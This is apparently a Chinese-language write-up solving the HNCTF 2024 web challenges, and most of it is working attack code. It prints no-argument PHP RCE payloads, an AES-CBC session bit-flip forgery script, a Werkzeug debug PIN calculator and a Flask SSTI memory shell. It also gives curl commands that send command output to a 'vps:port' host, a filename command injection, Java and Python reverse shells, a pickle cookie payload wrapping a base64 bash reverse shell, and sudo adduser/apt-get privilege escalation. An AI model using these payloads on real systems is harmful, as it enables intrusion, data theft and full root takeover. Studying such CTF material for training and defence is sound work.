HNCTF-web-wp
Please_RCE_Me
方法很多,我用的无参数RCE方法读的:
这个正则形同虚设,大写就绕了。
task=var_dump(scandir(dirname(chdir(dirname(getcwd())))));&flag=Please_give_me_flag task=show_source(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))));&flag=Please_give_me_flag task=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))))));&flag=Please_give_me_flag
多刷新几次,因为读文件是随机的:
ez_tp
thinkPHP3.2.3,网上搜是sql注入,出题人改了一点点,但源码debug里就找到了出题人测的payload,后面它删了....:
flipPin
给了源码,审一下:
from flask import Flask, request, abort from Crypto.Cipher import AES from Crypto.Random import get_random_bytes from Crypto.Util.Padding import pad, unpad from flask import Flask, request, Response from base64 import b64encode, b64decode import json key = 'lWPooMf0zO8wJVlhS5qR' default_session = '{"admin": 1, "username": "admin"}' key = get_random_bytes(AES.block_size) def encrypt(session): iv = get_random_bytes(AES.block_size) cipher = AES.new(key, AES.MODE_CBC, iv) print(iv) return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size))) def decrypt(session): raw = b64decode(session) cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size]) try: res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8') return res except Exception as e: print(e) print(key) print(encrypt(default_session).decode())
session伪造套了个AES加密,开始不懂咋办,其实这是AES-CBC模式的字节反转攻击。H&NCTF 2024 web(部分题目) - Rxuxin - 博客园 (cnblogs.com)
import requests from base64 import b64decode, b64encode url = "http://hnctf.imxbt.cn:47943/" default_session = '{"admin": 0, "username": "user1"}' res = requests.get(url) c = bytearray(b64decode(res.cookies["session"])) c[default_session.index("0")] ^= 1 evil = b64encode(c).decode() res = requests.get(url+f"read?filename=/proc/sys/kernel/random/boot_id", cookies={"session": evil}) print(res.text)
一个个开读,debug没关,随便乱输进debug就看到了app的位置,然后算pin就完事了:
#sha1 import hashlib from itertools import chain probably_public_bits = [ 'ctfUser'# /etc/passwd 'flask.app',# 默认值 'Flask',# 默认值 '/usr/lib/python3.9/site-packages/flask/app.py' # 报错得到 ] private_bits = [ '161476828132492',# /sys/class/net/eth0/address 16进制转10进制 #machine_id由两个合并(docker就后两个):1./proc/sys/kernel/random/boot_id 2./proc/self/cgroup 由于cgroup和mountinfo被禁用,则用/proc/1/cpuset代替读取 'dd0fe358-1d2b-4bb4-90d1-5fee6bcf533f'+'e14c228db48327d8096ed1201b0da6680d84ee9800e79aa7b0662212f3d72fa6'# /proc/sys/kernel/random/boot_id + /proc/1/cpuset ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
环境变量拿下flag:
ezFlask
先聊聊预期解吧,是打入python的内存🐎:
也能这样
cmd=render_template_string("{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}")
设一个模板注入,然后写内存马。
反弹shell ban了 -c,所以python bash sh nc这些基本寄了,curl反弹也不行,写文件也寄。
非预期让我大为震撼,确实牛子。
因为curl和反引号 ` 没ban,那么一套组合拳把源码都能扒下来:
cmd=__import__("os").system("curl vps:port?a=`RCE`")
记得base64中间用''隔开,
ls:
cmd=__import__("os").system("curl vps:port?a=`ba''se64 -w 0 app.py`")
base64转一下就完事了,可以看到黑名单:
关键生成flag源码:
那直接读这个/etc/jaygalf不就完了:(此处也可以grep+-rl+"flag{"+/etc直接读)
GoJava
一个在线编译引擎,把java文件传上去,它会给你打个jar包让你下。
开始想看能不能直接编译的时候RCE,但是好像不行,dirsearch扫一手:
结果有robots.txt
打开一手,
访问main.go:
不让读。
那就下载zip:
package main import ( "io" "log" "mime/multipart" "net/http" "os" "strings" ) var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'} func main() { // 设置路由 http.HandleFunc("/gojava", compileJava) // 设置静态文件服务器 fs := http.FileServer(http.Dir(".")) http.Handle("/", fs) // 启动服务器 log.Println("Server started on :80") log.Fatal(http.ListenAndServe(":80", nil)) } func isFilenameBlacklisted(filename string) bool { for _, char := range filename { for _, blackChar := range blacklistChars { if char == blackChar { return true } } } return false } func compileJava(w http.ResponseWriter, r *http.Request) { // 检查请求方法是否为POST if r.Method != http.MethodPost { http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) return } // 解析multipart/form-data格式的表单数据 err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB if err != nil { http.Error(w, "Error parsing form", http.StatusInternalServerError) return } // 从表单中获取上传的文件 file, handler, err := r.FormFile("file") if err != nil { http.Error(w, "Error retrieving file", http.StatusBadRequest) return } defer file.Close() if isFilenameBlacklisted(handler.Filename) { http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest) return } if !strings.HasSuffix(handler.Filename, ".java") { http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest) return } err = saveFile(file, "./upload/"+handler.Filename) if err != nil { http.Error(w, "Error saving file", http.StatusInternalServerError) return } } func saveFile(file multipart.File, filePath string) error { // 创建目标文件 f, err := os.Create(filePath) if err != nil { return err } defer f.Close() // 将上传的文件内容复制到目标文件中 _, err = io.Copy(f, file) if err != nil { return err } return nil }
但这是旧版,显然filePath有RCE的地方,而且只限制了末尾是.java,直接上 || ,随便传个java尝试一手:
反弹shell失败了,然而其实这里用分号隔开,直接bash反弹shell就成功了。
走预期解吧,换个方式,POST发包看看有无回显:
这下ok了。
题目还说flag在root下,后面应该有一手提权,肯定不会这么轻松反弹shell然后suid打了。
读下文件,但是不能直接一段回显完,所以base64转一手:
a.java||curl -X POST -d a=`ls|base64 -w 0` vps:port||.java
有个main.go,直接读:
base64 -w 0 main.go
package main import ( "fmt" "io" "log" "math/rand" "mime/multipart" "net/http" "os" "os/exec" "path/filepath" "strconv" "strings" "time" ) var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'} func main() { // 设置路由 http.HandleFunc("/gojava", compileJava) http.HandleFunc("/testExecYourJarOnServer", testExecYourJarOnServer) // 设置静态文件服务器 fs := http.FileServer(http.Dir(".")) http.Handle("/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { // 检查请求的路径是否需要被禁止访问 if isForbiddenPath(r.URL.Path) { http.Error(w, "Forbidden", http.StatusForbidden) return } // 否则,继续处理其他请求 fs.ServeHTTP(w, r) })) // 启动服务器 log.Println("Server started on :80") log.Fatal(http.ListenAndServe(":80", nil)) } func isForbiddenPath(path string) bool { // 检查路径是否为某个特定文件或文件夹的路径 // 这里可以根据你的需求进行设置 forbiddenPaths := []string{ "/main.go", "/upload/", } // 检查请求的路径是否与禁止访问的路径匹配 for _, forbiddenPath := range forbiddenPaths { if strings.HasPrefix(path, forbiddenPath) { return true } } return false } func isFilenameBlacklisted(filename string) bool { for _, char := range filename { for _, blackChar := range blacklistChars { if char == blackChar { return true } } } return false } // compileJava 处理上传并编译Java文件的请求 func compileJava(w http.ResponseWriter, r *http.Request) { // 检查请求方法是否为POST if r.Method != http.MethodPost { http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) return } // 解析multipart/form-data格式的表单数据 err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB if err != nil { http.Error(w, "Error parsing form", http.StatusInternalServerError) return } // 从表单中获取上传的文件 file, handler, err := r.FormFile("file") if err != nil { http.Error(w, "Error retrieving file", http.StatusBadRequest) return } defer file.Close() if isFilenameBlacklisted(handler.Filename) { http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest) return } // 检查文件扩展名是否为.java if !strings.HasSuffix(handler.Filename, ".java") { http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest) return } // 保存上传的文件至./upload文件夹 err = saveFile(file, "./upload/"+handler.Filename) if err != nil { http.Error(w, "Error saving file", http.StatusInternalServerError) return } // 生成随机文件名 rand.Seed(time.Now().UnixNano()) randomName := strconv.FormatInt(rand.Int63(), 16) + ".jar" // 编译Java文件 cmd := "javac ./upload/" + handler.Filename compileCmd := exec.Command("sh", "-c", cmd) //compileCmd := exec.Command("javac", "./upload/"+handler.Filename) compileOutput, err := compileCmd.CombinedOutput() if err != nil { http.Error(w, "Error compiling Java file: "+string(compileOutput), http.StatusInternalServerError) return } // 将编译后的.class文件打包成.jar文件 fileNameWithoutExtension := strings.TrimSuffix(handler.Filename, filepath.Ext(handler.Filename)) jarCmd := exec.Command("jar", "cvfe", "./final/"+randomName, fileNameWithoutExtension, "-C", "./upload", strings.TrimSuffix(handler.Filename, ".java")+".class") jarOutput, err := jarCmd.CombinedOutput() if err != nil { http.Error(w, "Error creating JAR file: "+string(jarOutput), http.StatusInternalServerError) return } // 返回编译后的.jar文件的下载链接 fmt.Fprintf(w, "/final/%s", randomName) } // saveFile 保存上传的文件 func saveFile(file multipart.File, filePath string) error { // 创建目标文件 f, err := os.Create(filePath) if err != nil { return err } defer f.Close() // 将上传的文件内容复制到目标文件中 _, err = io.Copy(f, file) if err != nil { return err } return nil } func testExecYourJarOnServer(w http.ResponseWriter, r *http.Request) { jarFile := "./final/" + r.URL.Query().Get("jar") // 检查是否存在指定的.jar文件 if !strings.HasSuffix(jarFile, ".jar") { http.Error(w, "Invalid jar file format", http.StatusBadRequest) return } if _, err := os.Stat(jarFile); os.IsNotExist(err) { http.Error(w, "Jar file not found", http.StatusNotFound) return } // 执行.jar文件 cmd := exec.Command("java", "-jar", jarFile) output, err := cmd.CombinedOutput() if err != nil { http.Error(w, "Error running jar file: "+string(output), http.StatusInternalServerError) return } // 输出结果 w.Header().Set("Content-Type", "text/plain") w.Write(output) }
重点就是这个新路由/testExecYourJarOnServer:
func testExecYourJarOnServer(w http.ResponseWriter, r *http.Request) { jarFile := "./final/" + r.URL.Query().Get("jar") // 检查是否存在指定的.jar文件 if !strings.HasSuffix(jarFile, ".jar") { http.Error(w, "Invalid jar file format", http.StatusBadRequest) return } if _, err := os.Stat(jarFile); os.IsNotExist(err) { http.Error(w, "Jar file not found", http.StatusNotFound) return } // 执行.jar文件 cmd := exec.Command("java", "-jar", jarFile) output, err := cmd.CombinedOutput() if err != nil { http.Error(w, "Error running jar file: "+string(output), http.StatusInternalServerError) return } // 输出结果 w.Header().Set("Content-Type", "text/plain") w.Write(output) }
拿了个jar然后直接exec运行了,这不妥妥RCE了,因为ban了很多,使用python反弹shell:
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; public class Exp { public static void main(String[] args) { String[] cmd = { "python3", "-c", "import os,pty,socket;s=socket.socket();s.connect((\"vps\",port));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"bash\")" }; ProcessBuilder processBuilder = new ProcessBuilder(cmd); try { Process process = processBuilder.start(); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = reader.readLine()) != null) { System.out.println(line); } int exitCode = process.waitFor(); System.out.println("Exited with code: " + exitCode); } catch (IOException | InterruptedException e) { e.printStackTrace(); } } }
上传后拿到路径,用这个路由直接打,反弹shell成功:
/testExecYourJarOnServer?jar=290d2a69cbb374df.jar
找一通啥也没找到,根目录有个奇怪玩意,读一下:
想到前面说的root里的flag,suid提权看一手:
su和sudo可用,猜前面那个是密码,su登root,读flag一气呵成:
不错的题。
GPTS
这道是真不会了,反弹shell进去搜不动了....
感觉出题人是最近在打渗透,出得有点渗透风格的还是,争取下次搞个域渗透来打打hhhh
开局直接CVE-2024-31224,cookie直接打pickle:
python反弹shell,用bash包一个base64:
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("vps",port));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'
import base64 import pickle def from_cookie_str(c): # Decode the base64-encoded string and unpickle it into a dictionary pickled_dict = base64.b64decode(c.encode("utf-8")) return pickle.loads(pickled_dict) opcode=b'''cos system (S'bash -c "{echo,<python-base64反弹shell>}|{base64,-d}|{bash,-i}"' tR.''' opcode = base64.b64encode(opcode).decode("utf-8") print(opcode) from_cookie_str(opcode)
改cookie,然后加载已保存:
但是牛魔的我第一次怎么把我自己的windows弹上去了,抽象:
不管了,直接开找,根目录啥都没有,环境变量也是。
找找用户能读啥:
find / -type f -user ctfgame -readable 2>/dev/null
读一手/var/mail/ctfgame:
拿到密码了,su登号:
但这个号能干啥?
suid提权搜一手:
开始看到ssh还以为可以ssh写公钥,但下面有个sudo可用。
sudo -l试试有啥命令能用:
能创号。
sudo adduser eddie -gid=0
换号:
这下我是root组了:
但是还读不了/root的文件,抽象
wp里说的是看看/etc/sudoers:
kobe可以用root权限下的apt-get,那我们再创个kobe的号给他覆盖了。(牢大肘死你)
上号直接apt-get
提权读:
利用软件包管理器实现Linux提权 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com
sudo apt-get update -o APT::Update::Pre-Invoke::="/bin/bash"
游戏结束(真能套)。
进root开读:
奇怪的网站
前面的信息搜集难评,看官方的:
这里直接bash弹会报错(至少我遇到了):
搜了半天说是空格问题,但是怎么改都不行,估计还是编码问题。
但curl是可用的,那就curl反弹shell,然后找密码su提权一条龙:
遇到这个问题:
官方给了个解决方法:
/usr/bin/script -qc /bin/bash /dev/null